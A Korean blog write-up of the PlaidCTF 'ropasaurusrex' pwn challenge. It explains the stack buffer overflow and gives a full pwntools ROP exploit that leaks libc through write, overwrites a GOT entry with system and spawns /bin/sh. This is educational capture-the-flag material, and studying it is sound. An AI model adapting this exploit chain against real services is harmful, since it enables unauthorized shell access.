Self-Improvement

[PlaidCTF] ropasaurusrex (32bit) 풀이 및 Pwntools 본문

리버싱 기초/ETC

[PlaidCTF] ropasaurusrex (32bit) 풀이 및 Pwntools

JoGeun 2020. 5. 31. 16:15

ropasaurusrex
0.00MB

 

적용된 보호기법

NX(스택 실행권한 X), ASLR(주소 동적 변환)

 

파일 정보

ELF 32-bit 실행파일이며 dynamically linked와 stripped로 되어있다.

 

실행

실행하면 입력값을 받은 후 "WIN"이라는 문자열이 출력이 된다.

 

IDA

stripped로 되어있음으로 gdb로 메인을 찾을 수 없지만 IDA로 확인하면 쉽게 알 수있다. (WIN string 찾기 등)

main은 0x804841D 주소로 되어있다.

 

코드로 변환하여 보면 main에서 sub_80483f4(read_sub())를 호출하여 read함수로 입력값을 받고 다시 main에서 write 함수로 "WIN"이 출력된다.

Main
sub_80483f4(read_sub)

read함수에서 0x100만큼 입력할 수 있지만 buf는 0x88크기를 가지므로 BOF가 발생하게 되며 여기서 ROP를 이용하여 쉘을 획득해본다.

 

gdb

IDA에서 얻은 주소를 통해 read함수 다음 주소에 BP를 걸어놓고 버퍼의 크기를 확인해본다.

gef > b *0x804841B

입력값은 "A"*10으로 한후 스택을 확인하면 입력값으로 부터 EBP의 거리는 136으로 알 수 있다.

ROP을 할려면 RET에 접근해야 함으로 140바이트만큼 채운다음 수행을하면 된다.

 

Python 코드

offset은 read와 system간의 거리이며 p3r은 pop,pop,pop,ret의 주소이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
 
#context.log_level='debug'
context(arch='x86', os='linux', endian='little')
 
 
e=ELF('./ropasaurusrex')
p=process(e.path)
 
binsh="/bin/sh\x00"
 
print "==================================="
log.info("found address of .bss section : %s" %hex(e.get_section_by_name(".bss").header.sh_addr))
bss=e.get_section_by_name(".bss").header.sh_addr
 
log.info("found address of read plt : %s" %hex(e.plt["read"]))
read_plt=e.plt["read"]
 
log.info("found address of read got : %s" %hex(e.got["read"]))
read_got=e.got["read"]
 
log.info("found address of write plt : %s" %hex(e.plt["write"]))
write_plt=e.plt["write"]
 
log.info("found address of write got : %s" %hex(e.got["write"]))
write_got=e.got["write"]
print "==================================="
 
offset=0x9ad60
p3r=0x80484b6
 
payload='A'*140
 
payload+=p32(write_plt)
payload+=p32(p3r)
payload+=p32(1)
payload+=p32(read_got)
payload+=p32(4)
 
payload+=p32(read_plt)
payload+=p32(p3r)
payload+=p32(0)
payload+=p32(bss)
payload+=p32(8)
 
payload+=p32(read_plt)
payload+=p32(p3r)
payload+=p32(0)
payload+=p32(write_got)
payload+=p32(4)
 
payload+=p32(write_plt)
payload+="AAAA"
payload+=p32(bss)
 
p.send(payload)
read_addr=u32(p.recv()[-4:])
log.info('read_addr = 0x%x' %read_addr)
 
log.info('system_offset = 0x%x' %offset)
system=read_addr-offset
log.info('system=0x%x' %system)
print "==================================="
 
p.send(binsh)
p.send(p32(system))
 
p.interactive()
cs

 

결과

'리버싱 기초 > ETC' 카테고리의 다른 글

[SSTF 2020] Eat_the_pie 풀이 (OOB, PIE)  (0) 2020.09.01